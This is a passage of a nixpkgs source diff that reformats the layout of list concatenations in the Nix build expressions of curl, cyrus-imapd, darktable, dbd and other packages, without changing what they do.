+    "--without-ca-bundle"
+    "--without-ca-path"
+  ]
+  ++ lib.optionals (!gnutlsSupport && !opensslSupport && !wolfsslSupport && !rustlsSupport) [
+    "--without-ssl"
+  ]
+  ++ lib.optionals (rustlsSupport && !stdenv.hostPlatform.isDarwin) [
+    "--with-ca-bundle=/etc/ssl/certs/ca-certificates.crt"
+  ]
+  ++ lib.optionals (gnutlsSupport && !stdenv.hostPlatform.isDarwin) [
+    "--with-ca-path=/etc/ssl/certs"
+  ];
 
   CXX = "${stdenv.cc.targetPrefix}c++";
   CXXCPP = "${stdenv.cc.targetPrefix}c++ -E";
@@ -220,37 +220,35 @@ stdenv.mkDerivation (finalAttrs: {
   # they cannot be run concurrently and are a bottleneck
   # tests are available in passthru.tests.withCheck
   doCheck = false;
-  preCheck =
-    ''
-      patchShebangs tests/
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      # bad interaction with sandbox if enabled?
-      rm tests/data/test1453
-      rm tests/data/test1086
-    ''
-    + lib.optionalString stdenv.hostPlatform.isMusl ''
-      # different resolving behaviour?
-      rm tests/data/test1592
-    '';
+  preCheck = ''
+    patchShebangs tests/
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    # bad interaction with sandbox if enabled?
+    rm tests/data/test1453
+    rm tests/data/test1086
+  ''
+  + lib.optionalString stdenv.hostPlatform.isMusl ''
+    # different resolving behaviour?
+    rm tests/data/test1592
+  '';
 
   __darwinAllowLocalNetworking = true;
 
-  postInstall =
-    ''
-      moveToOutput bin/curl-config "$dev"
+  postInstall = ''
+    moveToOutput bin/curl-config "$dev"
 
-      # Install completions
-      make -C scripts install
-    ''
-    + lib.optionalString scpSupport ''
-      sed '/^dependency_libs/s|${lib.getDev libssh2}|${lib.getLib libssh2}|' -i "$out"/lib/*.la
-    ''
-    + lib.optionalString gnutlsSupport ''
-      ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}
-      ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}.4
-      ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}.4.4.0
-    '';
+    # Install completions
+    make -C scripts install
+  ''
+  + lib.optionalString scpSupport ''
+    sed '/^dependency_libs/s|${lib.getDev libssh2}|${lib.getLib libssh2}|' -i "$out"/lib/*.la
+  ''
+  + lib.optionalString gnutlsSupport ''
+    ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}
+    ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}.4
+    ln $out/lib/libcurl${stdenv.hostPlatform.extensions.sharedLibrary} $out/lib/libcurl-gnutls${stdenv.hostPlatform.extensions.sharedLibrary}.4.4.0
+  '';
 
   passthru =
     let
diff --git a/pkgs/by-name/cu/curv/package.nix b/pkgs/by-name/cu/curv/package.nix
index 2f63ddd9534f..2d68ac3aeef0 100644
--- a/pkgs/by-name/cu/curv/package.nix
+++ b/pkgs/by-name/cu/curv/package.nix
@@ -38,26 +38,25 @@ stdenv.mkDerivation {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      boost
-      eigen_3_4_0
-      glm
-      libGL
-      libpng
-      openexr
-      tbb
-      xorg.libX11
-      xorg.libXcursor
-      xorg.libXext
-      xorg.libXi
-      xorg.libXinerama
-      xorg.libXrandr
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      ilmbase
-      llvmPackages.openmp
-    ];
+  buildInputs = [
+    boost
+    eigen_3_4_0
+    glm
+    libGL
+    libpng
+    openexr
+    tbb
+    xorg.libX11
+    xorg.libXcursor
+    xorg.libXext
+    xorg.libXi
+    xorg.libXinerama
+    xorg.libXrandr
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    ilmbase
+    llvmPackages.openmp
+  ];
 
   # force char to be unsigned on aarch64
   # https://codeberg.org/doug-moen/curv/issues/227
diff --git a/pkgs/by-name/cv/cvc4/package.nix b/pkgs/by-name/cv/cvc4/package.nix
index 62fc9a50e06f..039ec5617dbc 100644
--- a/pkgs/by-name/cv/cvc4/package.nix
+++ b/pkgs/by-name/cv/cvc4/package.nix
@@ -42,13 +42,15 @@ stdenv.mkDerivation rec {
     boost
     jdk
     python3
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ cln ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ cln ];
   configureFlags = [
     "--enable-language-bindings=c,c++,java"
     "--enable-gpl"
     "--with-readline"
     "--with-boost=${boost.dev}"
-  ] ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ "--with-cln" ];
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [ "--with-cln" ];
 
   prePatch = ''
     patch -p1 -i ${./minisat-fenv.patch} -d src/prop/minisat
diff --git a/pkgs/by-name/cv/cvs/package.nix b/pkgs/by-name/cv/cvs/package.nix
index 869bbb301a59..6108d1fc3bc3 100644
--- a/pkgs/by-name/cv/cvs/package.nix
+++ b/pkgs/by-name/cv/cvs/package.nix
@@ -46,27 +46,25 @@ stdenv.mkDerivation {
     texinfo
   ];
 
-  configureFlags =
-    [
-      "--with-editor=${nano}/bin/nano"
+  configureFlags = [
+    "--with-editor=${nano}/bin/nano"
 
-      # Required for cross-compilation.
-      "cvs_cv_func_printf_ptr=yes"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.libc == "glibc") [
-      # So that fputs_unlocked is defined
-      "CFLAGS=-D_GNU_SOURCE"
-    ];
+    # Required for cross-compilation.
+    "cvs_cv_func_printf_ptr=yes"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.libc == "glibc") [
+    # So that fputs_unlocked is defined
+    "CFLAGS=-D_GNU_SOURCE"
+  ];
 
-  makeFlags =
-    [
-      "AR=${stdenv.cc.targetPrefix}ar"
-    ]
-    ++ lib.optionals (!stdenv.cc.bintools.isGNU) [
-      # Don't pass --as-needed to linkers that don't support it
-      # (introduced in debian patchset)
-      "cvs_LDFLAGS="
-    ];
+  makeFlags = [
+    "AR=${stdenv.cc.targetPrefix}ar"
+  ]
+  ++ lib.optionals (!stdenv.cc.bintools.isGNU) [
+    # Don't pass --as-needed to linkers that don't support it
+    # (introduced in debian patchset)
+    "cvs_LDFLAGS="
+  ];
 
   doCheck = false; # fails 1 of 1 tests
 
diff --git a/pkgs/by-name/cx/cxxopts/package.nix b/pkgs/by-name/cx/cxxopts/package.nix
index 667a6450d1ed..a00858fb2fff 100644
--- a/pkgs/by-name/cx/cxxopts/package.nix
+++ b/pkgs/by-name/cx/cxxopts/package.nix
@@ -22,7 +22,8 @@ stdenv.mkDerivation rec {
   buildInputs = lib.optionals enableUnicodeHelp [ icu74.dev ];
   cmakeFlags = [
     "-DCXXOPTS_BUILD_EXAMPLES=OFF"
-  ] ++ lib.optional enableUnicodeHelp "-DCXXOPTS_USE_UNICODE_HELP=TRUE";
+  ]
+  ++ lib.optional enableUnicodeHelp "-DCXXOPTS_USE_UNICODE_HELP=TRUE";
   nativeBuildInputs = [ cmake ] ++ lib.optionals enableUnicodeHelp [ pkg-config ];
 
   doCheck = true;
diff --git a/pkgs/by-name/cy/cyme/package.nix b/pkgs/by-name/cy/cyme/package.nix
index ccf33e9fc15b..41b3d4ec85f3 100644
--- a/pkgs/by-name/cy/cyme/package.nix
+++ b/pkgs/by-name/cy/cyme/package.nix
@@ -24,14 +24,13 @@ rustPlatform.buildRustPackage rec {
   useFetchCargoVendor = true;
   cargoHash = "sha256-DFAlFEJfR6jUplQ50AK4SszdBIw0jbxFRgYNHg3sN8c=";
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      installShellFiles
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.DarwinTools
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    installShellFiles
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.DarwinTools
+  ];
 
   checkFlags = [
     # doctest that requires access outside sandbox
diff --git a/pkgs/by-name/cy/cypress/package.nix b/pkgs/by-name/cy/cypress/package.nix
index 7bb238cd612c..9c3b95422c73 100644
--- a/pkgs/by-name/cy/cypress/package.nix
+++ b/pkgs/by-name/cy/cypress/package.nix
@@ -52,17 +52,16 @@ stdenv.mkDerivation rec {
   # don't remove runtime deps
   dontPatchELF = true;
 
-  nativeBuildInputs =
-    [
-      unzip
-      makeShellWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      autoPatchelfHook
-      # override doesn't preserve splicing https://github.com/NixOS/nixpkgs/issues/132651
-      # Has to use `makeShellWrapper` from `buildPackages` even though `makeShellWrapper` from the inputs is spliced because `propagatedBuildInputs` would pick the wrong one because of a different offset.
-      (buildPackages.wrapGAppsHook3.override { makeWrapper = buildPackages.makeShellWrapper; })
-    ];
+  nativeBuildInputs = [
+    unzip
+    makeShellWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    autoPatchelfHook
+    # override doesn't preserve splicing https://github.com/NixOS/nixpkgs/issues/132651
+    # Has to use `makeShellWrapper` from `buildPackages` even though `makeShellWrapper` from the inputs is spliced because `propagatedBuildInputs` would pick the wrong one because of a different offset.
+    (buildPackages.wrapGAppsHook3.override { makeWrapper = buildPackages.makeShellWrapper; })
+  ];
 
   buildInputs = lib.optionals stdenv.hostPlatform.isLinux (
     with xorg;
diff --git a/pkgs/by-name/cy/cyrus-imapd/package.nix b/pkgs/by-name/cy/cyrus-imapd/package.nix
index 8bc78f051514..027f4cc2e990 100644
--- a/pkgs/by-name/cy/cyrus-imapd/package.nix
+++ b/pkgs/by-name/cy/cyrus-imapd/package.nix
@@ -80,56 +80,54 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     autoreconfHook
   ];
-  buildInputs =
-    [
-      unixtools.xxd
-      pcre2
-      flex
-      valgrind
-      fig2dev
-      perl
-      cyrus_sasl.dev
-      icu
-      jansson
-      libbsd
-      libuuid
-      openssl
-      zlib
-      bison
-      libsrs2
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [ libcap ]
-    ++ lib.optionals (enableHttp || enableCalalarmd || enableJMAP) [
-      brotli.dev
-      libical.dev
-      libxml2.dev
-      nghttp2.dev
-      shapelib
-    ]
-    ++ lib.optionals enableJMAP [
-      libchardet
-      wslay
-    ]
-    ++ lib.optionals enableXapian [
-      rsync
-      xapian
-    ]
-    ++ lib.optionals withMySQL [ libmysqlclient ]
-    ++ lib.optionals withPgSQL [ libpq ]
-    ++ lib.optionals withSQLite [ sqlite ];
+  buildInputs = [
+    unixtools.xxd
+    pcre2
+    flex
+    valgrind
+    fig2dev
+    perl
+    cyrus_sasl.dev
+    icu
+    jansson
+    libbsd
+    libuuid
+    openssl
+    zlib
+    bison
+    libsrs2
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libcap ]
+  ++ lib.optionals (enableHttp || enableCalalarmd || enableJMAP) [
+    brotli.dev
+    libical.dev
+    libxml2.dev
+    nghttp2.dev
+    shapelib
+  ]
+  ++ lib.optionals enableJMAP [
+    libchardet
+    wslay
+  ]
+  ++ lib.optionals enableXapian [
+    rsync
+    xapian
+  ]
+  ++ lib.optionals withMySQL [ libmysqlclient ]
+  ++ lib.optionals withPgSQL [ libpq ]
+  ++ lib.optionals withSQLite [ sqlite ];
 
   enableParallelBuilding = true;
 
   postPatch =
     let
-      managesieveLibs =
-        [
-          zlib
-          cyrus_sasl
-          sqlite
-        ]
-        # Darwin doesn't have libuuid, try to build without it
-        ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid;
+      managesieveLibs = [
+        zlib
+        cyrus_sasl
+        sqlite
+      ]
+      # Darwin doesn't have libuuid, try to build without it
+      ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid;
       imapLibs = managesieveLibs ++ [ pcre2 ];
       mkLibsString = lib.strings.concatMapStringsSep " " (l: "-L${lib.getLib l}/lib");
     in
diff --git a/pkgs/by-name/cy/cyrus_sasl/package.nix b/pkgs/by-name/cy/cyrus_sasl/package.nix
index 68d019ca2619..c6dc04e136f3 100644
--- a/pkgs/by-name/cy/cyrus_sasl/package.nix
+++ b/pkgs/by-name/cy/cyrus_sasl/package.nix
@@ -53,31 +53,30 @@ stdenv.mkDerivation rec {
   nativeBuildInputs = [
     autoreconfHook
     pruneLibtoolFiles
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
-  buildInputs =
-    [
-      openssl
-      db
-      gettext
-      libkrb5
-      libxcrypt
-    ]
-    ++ lib.optional enableLdap openldap
-    ++ lib.optional stdenv.hostPlatform.isLinux pam;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin fixDarwinDylibNames;
+  buildInputs = [
+    openssl
+    db
+    gettext
+    libkrb5
+    libxcrypt
+  ]
+  ++ lib.optional enableLdap openldap
+  ++ lib.optional stdenv.hostPlatform.isLinux pam;
 
-  configureFlags =
-    [
-      "--with-openssl=${openssl.dev}"
-      "--with-plugindir=${placeholder "out"}/lib/sasl2"
-      "--with-saslauthd=/run/saslauthd"
-      "--enable-login"
-      "--enable-shared"
-    ]
-    ++ lib.optional enableLdap "--with-ldap=${openldap.dev}"
-    ++ lib.optionals (stdenv.targetPlatform.useLLVM or false) [
-      "--disable-sample"
-      "CFLAGS=-DTIME_WITH_SYS_TIME"
-    ];
+  configureFlags = [
+    "--with-openssl=${openssl.dev}"
+    "--with-plugindir=${placeholder "out"}/lib/sasl2"
+    "--with-saslauthd=/run/saslauthd"
+    "--enable-login"
+    "--enable-shared"
+  ]
+  ++ lib.optional enableLdap "--with-ldap=${openldap.dev}"
+  ++ lib.optionals (stdenv.targetPlatform.useLLVM or false) [
+    "--disable-sample"
+    "CFLAGS=-DTIME_WITH_SYS_TIME"
+  ];
 
   env = lib.optionalAttrs stdenv.cc.isGNU {
     NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
diff --git a/pkgs/by-name/da/daggerfall-unity/package.nix b/pkgs/by-name/da/daggerfall-unity/package.nix
index a0387df8cb35..4e15a46526e2 100644
--- a/pkgs/by-name/da/daggerfall-unity/package.nix
+++ b/pkgs/by-name/da/daggerfall-unity/package.nix
@@ -22,22 +22,21 @@
   includeUnfree ? false,
 }:
 let
-  docFiles =
-    [
-      (fetchurl {
-        url = "https://www.dfworkshop.net/static_files/daggerfallunity/Daggerfall%20Unity%20Manual.pdf";
-        hash = "sha256-FywlD0K5b4vUWzyzANlF9575XTDLivbsym7F+qe0Dm8=";
-        name = "Daggerfall Unity Manual.pdf";
-        meta.license = lib.licenses.mit;
-      })
-    ]
-    ++ lib.optionals includeUnfree [
-      (fetchurl {
-        url = "https://cdn.bethsoft.com/bethsoft.com/manuals/Daggerfall/daggerfall-en.pdf";
-        hash = "sha256-24KSP/E7+KvSRTMDq63NVlVWTFZnQj1yya8wc36yrC0=";
-        meta.license = lib.licenses.unfree;
-      })
-    ];
+  docFiles = [
+    (fetchurl {
+      url = "https://www.dfworkshop.net/static_files/daggerfallunity/Daggerfall%20Unity%20Manual.pdf";
+      hash = "sha256-FywlD0K5b4vUWzyzANlF9575XTDLivbsym7F+qe0Dm8=";
+      name = "Daggerfall Unity Manual.pdf";
+      meta.license = lib.licenses.mit;
+    })
+  ]
+  ++ lib.optionals includeUnfree [
+    (fetchurl {
+      url = "https://cdn.bethsoft.com/bethsoft.com/manuals/Daggerfall/daggerfall-en.pdf";
+      hash = "sha256-24KSP/E7+KvSRTMDq63NVlVWTFZnQj1yya8wc36yrC0=";
+      meta.license = lib.licenses.unfree;
+    })
+  ];
 in
 stdenv.mkDerivation (finalAttrs: {
   inherit pname;
diff --git a/pkgs/by-name/da/dante/package.nix b/pkgs/by-name/da/dante/package.nix
index 85524a14af6c..ddb495471cef 100644
--- a/pkgs/by-name/da/dante/package.nix
+++ b/pkgs/by-name/da/dante/package.nix
@@ -41,19 +41,18 @@ stdenv.mkDerivation rec {
 
   dontAddDisableDepTrack = stdenv.hostPlatform.isDarwin;
 
-  patches =
-    [
-      # Fixes several issues with `osint.m4` that causes incorrect check failures when using newer
-      # versions of clang: missing `stdint.h` for `uint8_t` and unused `sa_len_ptr`.
-      ./clang-osint-m4.patch
-    ]
-    ++ lib.optionals remove_getaddrinfo_checks [
-      (fetchpatch {
-        name = "0002-osdep-m4-Remove-getaddrinfo-too-low-checks.patch";
-        url = "https://raw.githubusercontent.com/buildroot/buildroot/master/package/dante/0002-osdep-m4-Remove-getaddrinfo-too-low-checks.patch";
-        sha256 = "sha256-e+qF8lB5tkiA7RlJ+tX5O6KxQrQp33RSPdP1TxU961Y=";
-      })
-    ];
+  patches = [
+    # Fixes several issues with `osint.m4` that causes incorrect check failures when using newer
+    # versions of clang: missing `stdint.h` for `uint8_t` and unused `sa_len_ptr`.
+    ./clang-osint-m4.patch
+  ]
+  ++ lib.optionals remove_getaddrinfo_checks [
+    (fetchpatch {
+      name = "0002-osdep-m4-Remove-getaddrinfo-too-low-checks.patch";
+      url = "https://raw.githubusercontent.com/buildroot/buildroot/master/package/dante/0002-osdep-m4-Remove-getaddrinfo-too-low-checks.patch";
+      sha256 = "sha256-e+qF8lB5tkiA7RlJ+tX5O6KxQrQp33RSPdP1TxU961Y=";
+    })
+  ];
 
   postPatch = ''
     substituteInPlace include/redefgen.sh --replace 'PATH=/bin:/usr/bin:/sbin:/usr/sbin' ""
diff --git a/pkgs/by-name/da/dar/package.nix b/pkgs/by-name/da/dar/package.nix
index 3c31e3e19999..7ed97244df5b 100644
--- a/pkgs/by-name/da/dar/package.nix
+++ b/pkgs/by-name/da/dar/package.nix
@@ -36,26 +36,25 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ which ];
 
-  buildInputs =
-    [
-      curl
-      librsync
-      libthreadar
-      gpgme
-      libargon2
-      libgcrypt
-      openssl
-      bzip2
-      lz4
-      lzo
-      xz
-      zlib
-      zstd
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      attr
-      e2fsprogs
-    ];
+  buildInputs = [
+    curl
+    librsync
+    libthreadar
+    gpgme
+    libargon2
+    libgcrypt
+    openssl
+    bzip2
+    lz4
+    lzo
+    xz
+    zlib
+    zstd
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    attr
+    e2fsprogs
+  ];
 
   configureFlags = [
     "--disable-birthtime"
diff --git a/pkgs/by-name/da/darkly/package.nix b/pkgs/by-name/da/darkly/package.nix
index ef6bac0bb9e7..79d3da50d422 100644
--- a/pkgs/by-name/da/darkly/package.nix
+++ b/pkgs/by-name/da/darkly/package.nix
@@ -57,16 +57,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   passthru.updateScript = gitUpdater { rev-prefix = "v"; };
 
-  meta =
-    {
-      description = "Modern style for Qt applications (fork of Lightly)";
-      homepage = "https://github.com/Bali10050/Darkly";
-      changelog = "https://github.com/Bali10050/Darkly/releases/tag/v${finalAttrs.version}";
-      platforms = lib.platforms.linux;
-      license = with lib.licenses; [ gpl2Plus ];
-      maintainers = with lib.maintainers; [ pluiedev ];
-    }
-    // lib.optionalAttrs (qtMajorVersion == "6") {
-      mainProgram = "darkly-settings6";
-    };
+  meta = {
+    description = "Modern style for Qt applications (fork of Lightly)";
+    homepage = "https://github.com/Bali10050/Darkly";
+    changelog = "https://github.com/Bali10050/Darkly/releases/tag/v${finalAttrs.version}";
+    platforms = lib.platforms.linux;
+    license = with lib.licenses; [ gpl2Plus ];
+    maintainers = with lib.maintainers; [ pluiedev ];
+  }
+  // lib.optionalAttrs (qtMajorVersion == "6") {
+    mainProgram = "darkly-settings6";
+  };
 })
diff --git a/pkgs/by-name/da/darkradiant/package.nix b/pkgs/by-name/da/darkradiant/package.nix
index b4b185178d5d..b050e643c752 100644
--- a/pkgs/by-name/da/darkradiant/package.nix
+++ b/pkgs/by-name/da/darkradiant/package.nix
@@ -61,7 +61,8 @@ stdenv.mkDerivation (finalAttrs: {
     glib
     libgit2
     python3
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ libX11 ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ libX11 ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/da/darktable/package.nix b/pkgs/by-name/da/darktable/package.nix
index 03e4a14efc04..d0d666c3f305 100644
--- a/pkgs/by-name/da/darktable/package.nix
+++ b/pkgs/by-name/da/darktable/package.nix
@@ -99,79 +99,77 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      SDL2
-      adwaita-icon-theme
-      cairo
-      curl
-      exiv2
-      glib
-      glib-networking
-      gmic
-      graphicsmagick
-      gtk3
-      icu
-      ilmbase
-      isocodes
-      jasper
-      json-glib
-      lcms2
-      lensfun
-      lerc
-      libaom
-      libavif
-      libdatrie
-      libepoxy
-      libexif
-      libgcrypt
-      libgpg-error
-      libgphoto2
-      libheif
-      libjpeg
-      libjxl
-      libpng
-      librsvg
-      libsecret
-      libsysprof-capture
-      libthai
-      libtiff
-      libwebp
-      libxml2
-      libxslt
-      lua
-      openexr
-      openjpeg
-      osm-gps-map
-      pcre2
-      portmidi
-      pugixml
-      sqlite
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      alsa-lib
-      colord
-      colord-gtk
-      libselinux
-      libsepol
-      libX11
-      libXdmcp
-      libxkbcommon
-      libXtst
-      ocl-icd
-      util-linux
-    ]
-    ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration
-    ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
+  buildInputs = [
+    SDL2
+    adwaita-icon-theme
+    cairo
+    curl
+    exiv2
+    glib
+    glib-networking
+    gmic
+    graphicsmagick
+    gtk3
+    icu
+    ilmbase
+    isocodes
+    jasper
+    json-glib
+    lcms2
+    lensfun
+    lerc
+    libaom
+    libavif
+    libdatrie
+    libepoxy
+    libexif
+    libgcrypt
+    libgpg-error
+    libgphoto2
+    libheif
+    libjpeg
+    libjxl
+    libpng
+    librsvg
+    libsecret
+    libsysprof-capture
+    libthai
+    libtiff
+    libwebp
+    libxml2
+    libxslt
+    lua
+    openexr
+    openjpeg
+    osm-gps-map
+    pcre2
+    portmidi
+    pugixml
+    sqlite
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    alsa-lib
+    colord
+    colord-gtk
+    libselinux
+    libsepol
+    libX11
+    libXdmcp
+    libxkbcommon
+    libXtst
+    ocl-icd
+    util-linux
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin gtk-mac-integration
+  ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
-  cmakeFlags =
-    [
-      "-DBUILD_USERMANUAL=False"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "-DUSE_COLORD=OFF"
-      "-DUSE_KWALLET=OFF"
-    ];
+  cmakeFlags = [
+    "-DBUILD_USERMANUAL=False"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "-DUSE_COLORD=OFF"
+    "-DUSE_KWALLET=OFF"
+  ];
 
   # darktable changed its rpath handling in commit
   # 83c70b876af6484506901e6b381304ae0d073d3c and as a result the
diff --git a/pkgs/by-name/da/darling-dmg/package.nix b/pkgs/by-name/da/darling-dmg/package.nix
index e33350d939a4..0e6072e4e841 100644
--- a/pkgs/by-name/da/darling-dmg/package.nix
+++ b/pkgs/by-name/da/darling-dmg/package.nix
@@ -44,7 +44,8 @@ stdenv.mkDerivation {
     libxml2
     icu
     lzfse
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ libiconv ];
 
   CXXFLAGS = [
     "-DCOMPILE_WITH_LZFSE=1"
diff --git a/pkgs/by-name/da/dartsim/package.nix b/pkgs/by-name/da/dartsim/package.nix
index 7345cee85d4a..e0a1b0627708 100644
--- a/pkgs/by-name/da/dartsim/package.nix
+++ b/pkgs/by-name/da/dartsim/package.nix
@@ -85,43 +85,41 @@ stdenv.mkDerivation (finalAttrs: {
       >> python/dartpy/CMakeLists.txt
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.python
-      python3Packages.pybind11
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.python
+    python3Packages.pybind11
+  ];
 
-  propagatedBuildInputs =
-    [
-      blas
-      boost
-      assimp
-      bullet
-      eigen
-      fcl
-      fmt
-      libglut
-      gbenchmark
-      nlopt
-      # requires imgui_impl_opengl2.h
-      (imgui.override { IMGUI_BUILD_OPENGL2_BINDING = true; })
-      ipopt
-      lapack
-      libGL
-      libGLU
-      ode
-      openscenegraph
-      pagmo2
-      tinyxml-2
-      urdfdom
-    ]
-    ++ lib.optionals pythonSupport [
-      python3Packages.numpy
-    ];
+  propagatedBuildInputs = [
+    blas
+    boost
+    assimp
+    bullet
+    eigen
+    fcl
+    fmt
+    libglut
+    gbenchmark
+    nlopt
+    # requires imgui_impl_opengl2.h
+    (imgui.override { IMGUI_BUILD_OPENGL2_BINDING = true; })
+    ipopt
+    lapack
+    libGL
+    libGLU
+    ode
+    openscenegraph
+    pagmo2
+    tinyxml-2
+    urdfdom
+  ]
+  ++ lib.optionals pythonSupport [
+    python3Packages.numpy
+  ];
 
   checkInputs = [
     gbenchmark
diff --git a/pkgs/by-name/da/dasher/package.nix b/pkgs/by-name/da/dasher/package.nix
index dadc218e6fd1..fb3456dbd295 100644
--- a/pkgs/by-name/da/dasher/package.nix
+++ b/pkgs/by-name/da/dasher/package.nix
@@ -57,7 +57,8 @@ stdenv.mkDerivation {
     # at-spi2 needs dbus to be recognized by pkg-config
     at-spi2-core
     dbus
-  ] ++ lib.optional speechSupport speechd-minimal;
+  ]
+  ++ lib.optional speechSupport speechd-minimal;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/da/dav1d/package.nix b/pkgs/by-name/da/dav1d/package.nix
index cbd651e68ee7..bd183573c624 100644
--- a/pkgs/by-name/da/dav1d/package.nix
+++ b/pkgs/by-name/da/dav1d/package.nix
@@ -48,14 +48,15 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
   # TODO: doxygen (currently only HTML and not build by default).
-  buildInputs =
-    [ xxHash ]
-    ++ lib.optional withExamples SDL2
-    ++ lib.optionals useVulkan [
-      libplacebo
-      vulkan-loader
-      vulkan-headers
-    ];
+  buildInputs = [
+    xxHash
+  ]
+  ++ lib.optional withExamples SDL2
+  ++ lib.optionals useVulkan [
+    libplacebo
+    vulkan-loader
+    vulkan-headers
+  ];
 
   mesonFlags = [
     "-Denable_tools=${lib.boolToString withTools}"
diff --git a/pkgs/by-name/da/davix/package.nix b/pkgs/by-name/da/davix/package.nix
index dd29f9f561b0..8af041600482 100644
--- a/pkgs/by-name/da/davix/package.nix
+++ b/pkgs/by-name/da/davix/package.nix
@@ -34,16 +34,15 @@ stdenv.mkDerivation rec {
     pkg-config
     python3
   ];
-  buildInputs =
-    [
-      boost
-      curl
-      libxml2
-      openssl
-      rapidjson
-    ]
-    ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid
-    ++ lib.optional (enableThirdPartyCopy) gsoap;
+  buildInputs = [
+    boost
+    curl
+    libxml2
+    openssl
+    rapidjson
+  ]
+  ++ lib.optional (!stdenv.hostPlatform.isDarwin) libuuid
+  ++ lib.optional (enableThirdPartyCopy) gsoap;
 
   # using the url below since the github release page states
   # "please ignore the GitHub-generated tarballs, as they are incomplete"
diff --git a/pkgs/by-name/db/dbd/package.nix b/pkgs/by-name/db/dbd/package.nix
index d7c2b69649fc..e2b450265cec 100644
--- a/pkgs/by-name/db/dbd/package.nix
+++ b/pkgs/by-name/db/dbd/package.nix
@@ -15,13 +15,12 @@ stdenv.mkDerivation {
     hash = "sha256-b2yBZ2/Ab+SviKNlyZgdfiZ7GGZ1sonZnblD0i+vuFw=";
   };
 
-  makeFlags =
-    [
-      "PREFIX=${placeholder "out"}"
-      "CC=${stdenv.cc.targetPrefix}cc"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [ "darwin" ]
-    ++ lib.optionals (stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin) [ "unix" ];
+  makeFlags = [
+    "PREFIX=${placeholder "out"}"
+    "CC=${stdenv.cc.targetPrefix}cc"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ "darwin" ]
+  ++ lib.optionals (stdenv.hostPlatform.isUnix && !stdenv.hostPlatform.isDarwin) [ "unix" ];
 
   meta = with lib; {
     description = "Netcat-clone, designed to be portable and offer strong encryption";
diff --git a/pkgs/by-name/db/dbeaver-bin/package.nix b/pkgs/by-name/db/dbeaver-bin/package.nix
index f56dc18dcdbf..ebc7d0353eb9 100644
--- a/pkgs/by-name/db/dbeaver-bin/package.nix
+++ b/pkgs/by-name/db/dbeaver-bin/package.nix
@@ -43,14 +43,15 @@ stdenvNoCC.mkDerivation (finalAttrs: {
 
   sourceRoot = lib.optional stdenvNoCC.hostPlatform.isDarwin "DBeaver.app";
 
-  nativeBuildInputs =
-    [ makeWrapper ]
-    ++ lib.optionals (!stdenvNoCC.hostPlatform.isDarwin) [
-      gnused
